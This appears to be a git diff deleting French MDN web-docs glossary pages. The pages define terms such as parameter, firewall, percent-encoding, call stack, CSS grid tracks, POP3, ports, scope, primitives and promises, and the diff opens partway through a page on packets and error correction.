La détection et la correction d'erreurs sont ds codes utilisés pour détecter et appliquer des corrections aux erreurs qui se produisent lorsque les données sont transmises au récepteur. Il existe deux types de corrections d'erreurs en amont et en aval. La correction d'erreur vers l'arrière est lorsque le récepteur demande à l'expéditeur de retransmettre l'unité de données entière. La correction d'erreur directe est lorsque le récepteur utilise le code de correction d'erreur qui corrige automatiquement les erreurs.

- -

Au niveau de l'émetteur, le calcul est effectué avant l'envoi du paquet. Lorsqu'elle est reçue à la destination, la somme de contrôle est recalculée et comparée à celle du paquet.

- -

Priorité

- -

Ce champ indique quel paquet doit avoir une priorité plus élevée sur les autres. La file d'attente de priorité élevée est vidée plus rapidement que les files d'attente de priorité inférieure lorsque le réseau est congestionné.

- -

Adresses

- -

Lors du routage de paquets réseau, deux adresses réseau sont nécessaires: l'adresse source de l'hôte émetteur et l'adresse de destination de l'hôte récepteur.

- -

Données utilisateur - Payload

- -

Le payload correspond aux données transportées pour le compte d'une application. Il est généralement de longueur variable, jusqu'à un maximum qui est fixé par le protocole réseau et parfois l'équipement sur l'itinéraire.

- -

Références utilisées

- - diff --git a/files/fr/glossaire/parameter/index.html b/files/fr/glossaire/parameter/index.html deleted file mode 100644 index 39b7d3c8e2..0000000000 --- a/files/fr/glossaire/parameter/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Paramètre -slug: Glossaire/Parameter -tags: - - Encodage - - Glossaire - - JavaScript -translation_of: Glossary/Parameter ---- -

Un paramètre est une variable nommée passée à une {{Glossary("fonction")}}. Les paramètres servent à importer des {{Glossary("argument","arguments")}} à l'intérieur des fonctions.

- -

Remarquez la différence entre paramètres et arguments :

- -
    -
  • Les paramètres d'une fonction sont les noms listés dans la définition de la fonction.
    • -
  • Les {{Glossary("argument","arguments")}} d'une fonction sont les valeurs réelles passées à la fonction.
    • -
  • Les paramètres sont initialisés avec les valeurs des arguments fournis.
    • -
- -

Deux sortes de paramètres :

- -
-
paramètres d'entrée
-
le type le plus fréquent ; ils passent des valeurs aux fonctions. En fonction du langage de programmation, les paramètres d'entrée peuvent être passés de plusieurs manières (e.g., appel par valeur, appel par adresse, appel par référence).
-
paramètres de retour/sortie
-
retournent principalement plusieurs valeurs depuis une fonction, mais ce n'est pas recommandé car cela peut prêter à confusion
-
- -

Pour approfondir

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/pare-feu/index.html b/files/fr/glossaire/pare-feu/index.html deleted file mode 100644 index c5d6a403b4..0000000000 --- a/files/fr/glossaire/pare-feu/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: pare-feu -slug: Glossaire/pare-feu -tags: - - DDoS - - Glossaire - - Pare-feu - - Sécurité -translation_of: Glossary/firewall ---- -

Un pare-feu est un système qui filtre les connexions réseaux. Il peut aussi bien les autoriser à passer que les bloquer en fonction de certaines règles spécifiques. Par exemple, il peut bloquer une connexion entrante sur un certain port ou des connexions sortantes vers une certaine adresse IP.

- -

Les pare-feu peuvent être un simple composant logiciel ou se présenter sous la forme d'une machine dédiée dont la seule fonction est d'agir en tant que pare-feu.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Pare-feu (informatique)")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/parse/index.html b/files/fr/glossaire/parse/index.html deleted file mode 100644 index 0b0ad3c999..0000000000 --- a/files/fr/glossaire/parse/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Analyse Syntaxique -slug: Glossaire/Parse -tags: - - Glossaire - - JavaScript -translation_of: Glossary/Parse ---- -

"Parser" signifie analyser et convertir un programme en un format interne que l'environnement d'exécution peut exécuter, par exemple le moteur {{glossary("JavaScript")}} dans les navigateurs.

- -

En JavaScript, cela est fait pendant le {{glossary("compile time", "moment de compilation")}} ou quand l'{{glossary("parser", "analyseur syntaxique")}} est appelé, comme pendant l'appel à une méthode.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Analyse syntaxique")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/parser/index.html b/files/fr/glossaire/parser/index.html deleted file mode 100644 index 440bbd0e33..0000000000 --- a/files/fr/glossaire/parser/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Analyseur syntaxique -slug: Glossaire/Parser -tags: - - Encodage - - Glossaire -translation_of: Glossary/Parser ---- -

Le module d'un compilateur ou d'un interprête qui effectue l'{{glossary("parse","analyse syntaxique")}} d'un fichier de code source.

- -

Plus généralement, c'est une partie de logiciel qui analyse des textes et transforme leur contenu en une autre représentation.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/pdf/index.html b/files/fr/glossaire/pdf/index.html deleted file mode 100644 index 9ce683b225..0000000000 --- a/files/fr/glossaire/pdf/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: PDF -slug: Glossaire/PDF -translation_of: Glossary/PDF ---- -

PDF (Portable Document Format) est un format de fichiers utilisé pour partager des documents sans dépendre d'un logiciel particulier, d'une plateforme ou d'un système d'exploitation. Le format PDF fournit une image numérique d'un document, qui conserve la même apparence une fois imprimé.

- -

Pour en savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia", "Portable Document Format", "PDF")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/percent-encoding/index.html b/files/fr/glossaire/percent-encoding/index.html deleted file mode 100644 index 5d164240c6..0000000000 --- a/files/fr/glossaire/percent-encoding/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Encodage-pourcent -slug: Glossaire/percent-encoding -tags: - - Débutant - - Glossaire - - Mécanismes web -translation_of: Glossary/percent-encoding ---- -

Encodage-pourcent (Percent-encoding) est un mécanisme d'encodage des caractères de 8 bits qui ont une signification spécifique dans le contexte des {{Glossary("URL")}}. Il est parfois appelé encodage d'URL. Il consiste en une substitution de : un caractère '%' suivi d'un code hexadecimal correspondant à la valeur ASCII du caractère à remplacer.

- -

Les caractères spéciaux nécessitant cet encodage sont : ':', '/', '?', '#', '[', ']', '@', '!', '$', '&', "'", '(', ')', '*', '+', ',', ';', '=', et '%' lui-même. Les autres caractères n'ont pas besoin d'être encodés, bien qu'ils puissent l'être.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
':''/''?''#''['']''@''!''$''&'"'"'('')''*''+'','';''=''%'' '
%3A%2F%3F%23%5B%5D%40%21%24%26%27%28%29%2A%2B%2C%3B%3D%25%20 ou +
- -

En fonction du contexte, le caractère ' ' est traduit par un '+' (comme dans la version de codage en pourcentage utilisée dans un message application/x-www-form-urlencoded), ou en '%20' comme dans les URL.

- -

En apprendre plus

- -

Culture générale

- - - -

Savoir technique

- -
    -
  • {{RFC(3986)}}, section 2.1, où ce codage est défini.
    • -
diff --git a/files/fr/glossaire/php/index.html b/files/fr/glossaire/php/index.html deleted file mode 100644 index c0d11277fa..0000000000 --- a/files/fr/glossaire/php/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: PHP -slug: Glossaire/PHP -tags: - - Encodage - - Glossaire - - Infrastructure - - PHP - - Programmation -translation_of: Glossary/PHP ---- -

PHP est un langage de script côté serveur conçu pour le développement web mais aussi utilisé comme langage de programmation généraliste. Créée à l'origine par Rasmus Lerdorf en 1994, l'implémentation de la référence PHP est maintenant produite par The PHP Group. PHP signifiait à l'origine Personal Home Page, mais elle correspond maintenant à l'acronyme récursif PHP : Hypertext Preprocessor.

- -

Pour approfondir

- - diff --git "a/files/fr/glossaire/pile_d_ex\303\251cution/index.html" "b/files/fr/glossaire/pile_d_ex\303\251cution/index.html" deleted file mode 100644 index 56f544bc90..0000000000 --- "a/files/fr/glossaire/pile_d_ex\303\251cution/index.html" +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Pile d'exécution -slug: Glossaire/Pile_d_exécution -tags: - - Encodage - - Glossaire - - Pile d'exécution -translation_of: Glossary/Call_stack ---- -

Une pile d'exécution est le mécanisme d'un interpréteur (comme l'interpréteur de JavaScript sur un navigateur web) pour conserver la trace de son emplacement dans un script qui appelle plusieurs {{glossary("Function","fonctions")}} depuis d'autres fonctions  — quelle fonction est en cours d'exécution, quelles fonctions sont appelées depuis cette fonction et doivent être appelées ensuite, etc.

- -
    -
  • Lorsqu'un script appelle une fonction, l'interpréteur ajoute sa position actuelle sur la pile d'exécution comme étant son adresse de retour, et ensuite, il se lance dans l'exécution de la fonction.
    • -
  • Toutes les fonctions appelées par cette fonction sont ajoutées à la pile d'appels plus haut, et s'exécutent là où leurs appels sont atteints.
    • -
  • Quand la fonction se termine, l'interpréteur récupère l'adresse de retour la plus récente depuis la pile et reprend l'exécution à partir de l'endroit indiqué par celle-ci.
    • -
  • Si la pile est sollicitée au-delà de l'espace qui lui a été affecté, une erreur "dépassement de pile" se produit.
    • -
- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Pile_d'exécution","Pile d'exécution")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/pistes_de_grille/index.html b/files/fr/glossaire/pistes_de_grille/index.html deleted file mode 100644 index b9c06af74b..0000000000 --- a/files/fr/glossaire/pistes_de_grille/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Piste de grille -slug: Glossaire/Pistes_de_grille -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Tracks ---- -

Une piste de grille est l'espace entre deux {{glossary("grid lines","lignes de grille (lines)")}}. Elle est définie dans la grille explicite avec les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}} ou les propriétés raccourcies {{cssxref("grid")}} ou {{cssxref("grid-template")}}. Les pistes sont aussi créées dans une grille implicite en positionnant un élément de grille en dehors des pistes créées dans la grille explicite.

- -

L'image ci-dessous montre la première piste de ligne de la grille.

- -

Diagram showing a grid track.

- -

Taille de piste sur une grille explicite

- -

Lors de la définition de pistes de grille avec {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}, vous pouvez utiliser n'importe quelle unité de longueur, ainsi que l'unité flexible, qui indique une partie de l'espace disponible dans le conteneur de la grille. L'exemple ci-dessous montre une grille avec trois pistes de colonnes, l'une de 200 pixels, la seconde de 1fr, la troisième de 3fr. Une fois que les 200 pixels ont été soustraits de l'espace disponible dans le conteneur de la grille, l'espace restant est divisé en 4. Une partie est donnée à la colonne 2, 3 parties à la colonne 3.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: 200px 1fr 3fr;
-}
-
- -
<div class="wrapper">
-   <div>One</div>
-   <div>Two</div>
-   <div>Three</div>
-   <div>Four</div>
-   <div>Five</div>
-</div>
-
- -

{{ EmbedLiveSample('example_1', '500', '230') }}

-
- -

Taille de piste dans la grille implicite

- -

Les pistes créées dans la grille implicite ont une taille définie automatiquement par défaut, cependant, vous pouvez définir la taille de ces pistes en utilisant les propriétés {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}.

- -

En apprendre plus

- -

Références de propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-auto-rows")}}
    • -
  • {{cssxref("grid-auto-columns")}}
    • -
- -

En lire plus

- - diff --git a/files/fr/glossaire/pixel/index.html b/files/fr/glossaire/pixel/index.html deleted file mode 100644 index a781d07b58..0000000000 --- a/files/fr/glossaire/pixel/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Pixel -slug: Glossaire/Pixel -tags: - - Glossaire - - Graphismes -translation_of: Glossary/Pixel ---- -

Un pixel est le plus petit bloc qu'un affichage graphique comme un écran d'ordinateur puisse afficher.

- -

La résolution d'affichage est exprimée dans une unité qui est le pixel. Ex : Une résolution de “800 x 600” pixels signifie que 800 pixels peuvent être affichés en largeur et que la hauteur est de 600 pixels.

- -

Pour approfondir

- -

Référence technique

- -
    -
  • Pixel sur Wikipédia
    • -
diff --git a/files/fr/glossaire/pixel_css/index.html b/files/fr/glossaire/pixel_css/index.html deleted file mode 100644 index 26c52eb7a8..0000000000 --- a/files/fr/glossaire/pixel_css/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Pixel CSS -slug: Glossaire/Pixel_CSS -tags: - - CSS - - Glossaire - - Hauteur - - Largeur - - Longueur - - Pixel CSS - - pixel - - taille - - unité -translation_of: Glossary/CSS_pixel ---- -

Le pixel CSS—désigné dans {{Glossary("CSS")}} avec le suffixe px—est une unité de longueur qui correspond approximativement à la largeur ou à la hauteur d'un point unique qui peut être vu confortablement par l'œil humain sans effort mais par ailleurs aussi petit que possible. Par définition, il s'agit de la taille physique d'un seul pixel à une densité de pixels de 96 DPI, situé à une longueur de bras des yeux du spectateur.

- -

Cette définition, bien sûr, laisse beaucoup de marge de manœuvre, car les termes "être vu confortablement" et "à une longueur de bras" sont imprécis et varient d'une personne à l'autre. Lorsqu'un utilisateur est assis à un bureau devant un desktop, l'écran est généralement beaucoup plus éloigné de ses yeux que lorsqu'il est sur un téléphone portable, par exemple.

- -

En tant que tel, il suffit généralement de dire que lorsque l'unité px est utilisée, le but est d'essayer d'avoir la distance 96px égale à environ 1 inch sur l'écran, quelle que soit la densité de pixels réelle de l'écran. En d'autres termes, si l'utilisateur est sur un téléphone avec une densité de pixels de 266 DPI, et un élément est placé sur l'écran avec une largeur de 96px, la largeur réelle de l'élément serait de 266 {{Glossary("device pixels")}}.

- -

Apprendre plus

- -

Référence technique

- - - -

En savoir plus

- - diff --git a/files/fr/glossaire/png/index.html b/files/fr/glossaire/png/index.html deleted file mode 100644 index 8f64ff837b..0000000000 --- a/files/fr/glossaire/png/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: PNG -slug: Glossaire/PNG -tags: - - Composition - - Débutant - - Glossaire - - Infrastructure - - PNG -translation_of: Glossary/PNG ---- -

PNG (Portable Network Graphics) est un format de fichiers graphiques qui supporte la compression de données sans perte.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • PNG sur Wikipédia
    • -
diff --git a/files/fr/glossaire/polyfill/index.html b/files/fr/glossaire/polyfill/index.html deleted file mode 100644 index a5a6f4aa35..0000000000 --- a/files/fr/glossaire/polyfill/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Polyfill -slug: Glossaire/Polyfill -translation_of: Glossary/Polyfill ---- -

Un polyfill est un bout de code (généralement en JavaScript sur le web) utilisé pour fournir des fonctionnalités récentes sur d'anciens navigateurs qui ne les supportent pas nativement.

- -

Par exemple, un polyfill pourrait être utilisé pour imiter la fonctionnalité d'un élément HTML Canvas sur Microsoft Internet Explorer 7 avec un plugin Silverlight, ou imiter le support des unités de mesure en rem ou ce que vous voulez.

- -

En apprendre plus

- -

Connaissance général

- - diff --git a/files/fr/glossaire/polymorphisme/index.html b/files/fr/glossaire/polymorphisme/index.html deleted file mode 100644 index 2c928bdea5..0000000000 --- a/files/fr/glossaire/polymorphisme/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Polymorphisme -slug: Glossaire/Polymorphisme -tags: - - Encodage - - Glossaire -translation_of: Glossary/Polymorphism ---- -

Le polymorphisme est la présentation d'une unique interface pour plusieurs types de données.
-
- Par exemple, les entiers, flottants et doubles sont implicitement polymorphiques : il est possible de les ajouter, soustraire, multiplier etc. sans se préoccuper de leurs différents types.

- -

Dans le cas de la {{glossary("POO","programmation orientée objet")}}, en donnant à la {{glossary("Class","classe")}} la gestion aussi bien de son code que de ses propres données, le polymorphisme peut être mis en œuvre en faisant que chaque classe ait sa propre {{glossary("Function","fonction")}} qui (une fois appelée) agit en fonction d'un {{glossary("Object","objet")}} quel que soit son type.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/poo/index.html b/files/fr/glossaire/poo/index.html deleted file mode 100644 index 7ea79f6c83..0000000000 --- a/files/fr/glossaire/poo/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: POO -slug: Glossaire/POO -tags: - - Débutant - - Glossaire - - Script -translation_of: Glossary/OOP ---- -

La POO (Programmation Orientée Objet) est un paradigme de programmation qui consiste à encapsuler les données et les traitements en relation avec ces données dans des {{glossary("object","objets")}}. Les algorithmes consistent alors à orchestrer les opérations sur ces objets et non plus sur ce qui les compose.

- -

Le langage {{glossary("JavaScript")}} est massivement orienté objet. Il suit un modèle basé sur le prototypage (contrairement au modèle de classes).

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/pop/index.html b/files/fr/glossaire/pop/index.html deleted file mode 100644 index edf9256e5d..0000000000 --- a/files/fr/glossaire/pop/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: POP3 -slug: Glossaire/POP -tags: - - Débutant - - Glossaire - - Infrastructure -translation_of: Glossary/POP ---- -

POP3 (Post Office Protocol) est un {{glossary("Protocol","protocole")}} très répandu pour récupérer les courriels depuis un serveur de messagerie via une connexion {{glossary("TCP")}}. POP3 ne supporte pas les dossiers, contrairement à l'{{Glossary("IMAP")}}4 qui est plus récent, mais qui est aussi plus difficile à implémenter en raison de sa structure plus complexe.

- -

En général, les clients récupèrent tous les messages puis les suppriment du serveur, mais POP3 permet d'en conserver une copie dessus. Quasiment tous les serveurs et clients de messagerie actuels gèrent POP3.

- -

En apprendre plus

- -
    -
  • RFC 1939 (Spécification de POP3)
    • -
  • RFC 2449 (Spécification de POP3 extension mechanism)
    • -
  • RFC 1734 (Spécification de POP3 authentication mechanism)
    • -
  • {{Glossary("IMAP")}}4
    • -
  • {{Interwiki("wikipedia","Post_Office_Protocol","Post Office Protocol")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/port/index.html b/files/fr/glossaire/port/index.html deleted file mode 100644 index 2c7b8929b9..0000000000 --- a/files/fr/glossaire/port/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Port -slug: Glossaire/Port -tags: - - Glossaire - - Intro - - Réseaux d'ordinateurs - - Sécurité - - ports -translation_of: Glossary/Port ---- -

Un port est le point d'entrée de communication de tout ordinateur connecté à un réseau avec une {{Glossary("IP address","adresse IP")}}. Les ports sont désignés par des nombres et, en dessous de 1024, chaque port est associé par défaut à un {{Glossary("protocol","protocole")}} spécifique.

- -

Par exemple, le port par défaut pour le protocole {{Glossary("HTTP")}} est 80 et le port par défaut pour le protocole HTTPS est 443. Un server web qui reçoit du traffic HTTP ou HTTPS écoutera donc des requêtes à partir de ces deux ports. Chaque protocole internet est associé à un port par défaut: {{Glossary("SMTP")}} (25), {{Glossary("POP3")}} (110), {{Glossary("IMAP")}} (143), {{Glossary("IRC")}} (194), et ainsi de suite.

- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{Interwiki("wikipedia","Port_(logiciel)","Port (logiciel)")}} sur Wikipedia
    • -
diff --git "a/files/fr/glossaire/port\303\251e/index.html" "b/files/fr/glossaire/port\303\251e/index.html" deleted file mode 100644 index f8f6854aaa..0000000000 --- "a/files/fr/glossaire/port\303\251e/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Portée -slug: Glossaire/Portée -tags: - - Encodage - - Glossaire -translation_of: Glossary/Scope ---- -

Le contexte d'{{glossary("exécuter","exécution")}} courant. Le contexte dans lequel les {{glossary("Value","valeurs")}} et expressions sont "visibles," ou peuvent être référencées. Si une {{glossary("variable")}} ou autre expression n'est pas "dans la portée actuelle", alors son utilisation ne sera pas possible. Les portées peuvent aussi être empilées hiérarchiquement de manière à ce que les portées enfants puissent accéder aux portées parentes, mais pas l'inverse.

- -

Une {{glossary("fonction")}} sert de fermeture en {{glossary("JavaScript")}}, et crée ainsi une portée, pour cette raison, par exemple, une variable définie exclusivement à l'intérieur de la fonction ne sera pas accessible en dehors de celle-ci ni depuis d'autres fonctions.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Portée (informatique)")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/port\303\251e_globale/index.html" "b/files/fr/glossaire/port\303\251e_globale/index.html" deleted file mode 100644 index bf7f27399d..0000000000 --- "a/files/fr/glossaire/port\303\251e_globale/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Portée globale -slug: Glossaire/Portée_globale -tags: - - Encodage - - Glossaire -translation_of: Glossary/Global_scope ---- -

Dans un environnement de programmation, la portée globale ( global scope ) est la {{glossary("Scope","portée")}} qui est visible dans toutes les autres portées.

- -

Dans le JavaScript côté client, la portée globale est généralement la page web à l'intérieur de laquelle tout le code est en cours d'exécution.

- -

En apprendre plus

- -

Apprendre sur ce sujet

- - - -

 

diff --git "a/files/fr/glossaire/port\303\251e_locale/index.html" "b/files/fr/glossaire/port\303\251e_locale/index.html" deleted file mode 100644 index ab16092347..0000000000 --- "a/files/fr/glossaire/port\303\251e_locale/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Portée locale -slug: Glossaire/Portée_locale -tags: - - Encodage - - Glossaire -translation_of: Glossary/Local_scope ---- -

La portée locale est une caractéristique des {{glossary("Variable","variables")}} qui les rend locales (c'est-à-dire, le nom de la variable est lié à sa {{glossary("Value","valeur")}} seulement à l'intérieur d'une portée qui n'est pas la {{glossary("Global scope","portée globale")}}).

- -

Pour approfondir

- -

General knowledge

- -
    -
  • {{interwiki("wikipedia", "Portée (informatique)", "Portée")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/preprocesseur_css/index.html b/files/fr/glossaire/preprocesseur_css/index.html deleted file mode 100644 index bf3a222025..0000000000 --- a/files/fr/glossaire/preprocesseur_css/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Préprocesseur CSS -slug: Glossaire/preprocesseur_CSS -tags: - - CSS - - Glossaire -translation_of: Glossary/CSS_preprocessor ---- -

Un préprocesseur CSS est un programme  qui vous permet de générer des {{Glossary("CSS")}} à partir d'un unique préprocesseur propriétaire {{Glossary("Syntax")}}. Il y a de nombreux préprocesseurs CSS au choix, mais la plupart des préprocesseurs CSS ajoutent quelques fonctionnalités qui n'existent pas en CSS pur, telles que {{Glossary("Variable","variable")}}, mixin, sélecteur d'imbrication, etc. Ces fonctionnalités rendent la structure CSS plus lisible et plus facile à maintenir.

- -

Pour utiliser un préprocesseur CSS, vous devez installer un compilateur CSS sur votre {{Glossary("Server","serveur")}} web.

- -

En apprendre plus

- -

Culture générale

- -

Ici certains des préprocesseurs CSS les plus populaires:

- - diff --git a/files/fr/glossaire/presto/index.html b/files/fr/glossaire/presto/index.html deleted file mode 100644 index 4048155838..0000000000 --- a/files/fr/glossaire/presto/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Presto -slug: Glossaire/Presto -tags: - - Glossaire - - Infrastructure - - Opera - - Presto -translation_of: Glossary/Presto ---- -

Presto était le moteur de rendu propriétaire utilisé par le {{Glossary("Opera browser","navigateur Opera")}} jusqu'à la version 15. Depuis, ce dernier est basé sur Chromium qui utilise le moteur de rendu {{Glossary('Blink')}}.

- -

Pour en savoir plus

- - diff --git a/files/fr/glossaire/primitive/index.html b/files/fr/glossaire/primitive/index.html deleted file mode 100644 index 767776b5d4..0000000000 --- a/files/fr/glossaire/primitive/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Primitive -slug: Glossaire/Primitive -tags: - - Glossaire - - JavaScript - - Programmation -translation_of: Glossary/Primitive ---- -

Une primitive (valeur primitive ou structure de donnée primitive) est une donnée qui n'est pas un {{Glossary("object","objet")}} et n'a pas de {{glossary("method","méthode")}}. En {{Glossary("JavaScript")}}, il y a 6 types de données primitives: {{Glossary("String")}}, {{Glossary("Number")}}, {{Glossary("Boolean")}}, {{Glossary("Null")}}, {{Glossary("undefined")}}, {{Glossary("Symbol")}} (nouveauté d'{{Glossary("ECMAScript")}} 2015).

- -

La plupart du temps, une valeur primitive est représentée directement au plus bas niveau dans l'implémentation du langage.

- -

Toutes les primitives sont non-mutables (ne peuvent pas être modifiées).

- -

Primitives JavaScript encapsulées dans des objets

- -

Excepté dans les cas de null ou undefined, pour chaque valeur primitive il existe un objet équivalent qui la contient:

- -
    -
  • {{jsxref("String")}} pour la primitive string ;
    • -
  • {{jsxref("Number")}} pour la primitive number ;
    • -
  • {{jsxref("Boolean")}} pour la primitive boolean ;
    • -
  • {{jsxref("Symbol")}} pour la primitive symbol
    • -
- -

La méthode valueOf() de ces objets retourne la valeur primitive encapsulée correspondante.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/privileged_code/index.html b/files/fr/glossaire/privileged_code/index.html deleted file mode 100644 index 1efe14fab0..0000000000 --- a/files/fr/glossaire/privileged_code/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Code privilégié -slug: Glossaire/privileged_code -tags: - - Glossaire - - Privilégié -translation_of: Glossary/privileged_code ---- -

Code privilégié - Code Javascript de votre extension. Par exemple, code dans les scripts de contenu.

- -

Non-privilegié - Javascript sur la page web.

diff --git "a/files/fr/glossaire/privil\303\251gi\303\251/index.html" "b/files/fr/glossaire/privil\303\251gi\303\251/index.html" deleted file mode 100644 index 703f4ecc7c..0000000000 --- "a/files/fr/glossaire/privil\303\251gi\303\251/index.html" +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Privilégié -slug: Glossaire/Privilégié -tags: - - Glossaire - - Sécurité -translation_of: Glossary/Privileged ---- -

Un utilisateur est dit privilégié lorsqu'il se voit attribuer des droits supplémentaires sur un système, ou se voit donner des accès à des données avec un niveau de priorité supérieur à celui des utilisateurs normaux. 

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Privilège (informatique)")}} sur Wikipédia
    • -
- -

Apprendre sur ce sujet

- - diff --git "a/files/fr/glossaire/programmation_orient\303\251e_prototype/index.html" "b/files/fr/glossaire/programmation_orient\303\251e_prototype/index.html" deleted file mode 100644 index 34c4955e99..0000000000 --- "a/files/fr/glossaire/programmation_orient\303\251e_prototype/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Programmation orientée prototype -slug: Glossaire/Programmation_orientée_prototype -tags: - - Glossaire - - Programmation -translation_of: Glossary/Prototype-based_programming ---- -

La programmation orientée prototype est un style de {{Glossary("OOP","programmation orientée objet")}}} dans laquelle les {{Glossary ('Class', 'classes')}} ne sont pas explicitement définies, mais plutôt dérivées par ajout des propriétés et des méthodes à une instance d'une autre classe ou, moins fréquemment, par ajouts à un objet vide.
-
- En termes simples, ce type de style permet de créer un {{Glossary('Object', 'objet')}} sans définir sa {{Glossary('Class', 'classe')}}.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Programmation_orientée_prototype", "Programmation orientée prototype")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/progressive_web_apps/index.html b/files/fr/glossaire/progressive_web_apps/index.html deleted file mode 100644 index 93bf4acfc6..0000000000 --- a/files/fr/glossaire/progressive_web_apps/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Applications web progressistes -slug: Glossaire/Progressive_web_apps -tags: - - Applications - - Glossaire -translation_of: Glossary/Progressive_web_apps ---- -

Applications web progressistes (Progressive web apps) est une locution utilisée pour décrire une manière moderne de développer des applications web. Cela consiste à utiliser des sites ou applications web classiques qui profitent du meilleur du web — comme la possibilité d'apparaître avec les moteurs de recherche, le fait d'être lié par les {{Glossary("URL")}} ou encore la capacité à fonctionner sur tout type d'environnement —, d'y ajouter des API modernes (comme les Service Workers et les notifications Push) et des fonctionnalités qui offrent d'autres avantages habituellement réservés aux applications natives.

- -

Ces fonctionnalités incluent : la possibilité d'installer l'application, de fonctionner hors-ligne, d'être facile à synchroniser ou encore d'interagir avec l'utilisateur à l'initiative du serveur.

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/promesse/index.html b/files/fr/glossaire/promesse/index.html deleted file mode 100644 index ccf296a247..0000000000 --- a/files/fr/glossaire/promesse/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Promesse -slug: Glossaire/Promesse -tags: - - Asynchrone - - Glossaire - - Promise - - Promises -translation_of: Glossary/Promise ---- -

Une {{jsxref("Promise")}} est un {{Glossary("Objet")}} retourné par une {{Glossary("Fonction")}} n'ayant pas encore terminé son travail. La promesse représente littéralement une promesse faite par la fonction qui retournera éventuellement un résultat à travers l'objet promesse.

- -

Quand la fonction appellée a fini son travail {{Glossary("asynchronous", "asynchrone")}} une fonction de l'objet promise appellée gestionnaire de résolution (ou d'accomplissement, ou d'achèvement) est appellé pour permettre à l'appelant original de savoir que la tâche est complétée.

- -

En apprendre plus

- -

Pour en apprendre plus, suivez ces liens.

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Futures_(informatique)")}}
    • -
- -

Référence technique

- - diff --git a/files/fr/glossaire/propriete_css/index.html b/files/fr/glossaire/propriete_css/index.html deleted file mode 100644 index b390c202e0..0000000000 --- a/files/fr/glossaire/propriete_css/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Propriété (CSS) -slug: Glossaire/Propriete_CSS -tags: - - Encodage - - Glossaire -translation_of: Glossary/property/CSS ---- -

Une propriété CSS est une caractéristique (telle que color) dont la valeur associée définit un aspect de la manière dont le navigateur doit afficher l'élément.

- -

Exemple de règle CSS:

- -
/* "div" est un sélecteur qui indique que tous les éléments "div" */
-/* auront le style spécifié par cette règle */
-div {
-  /* La propriété "color" avec la valeur "black" indique */
-  /* que le texte sera coloré en noir */
-  color: black;
-
-  /* La propriété "background-color" avec la valeur "white" indique */
-  /* que l'arrière-plan des éléments sera coloré en blanc */
-  background-color: white;
-}
- -

Pour approfondir

- -

Culture générale

- - - -

Références techniques

- - - -

 

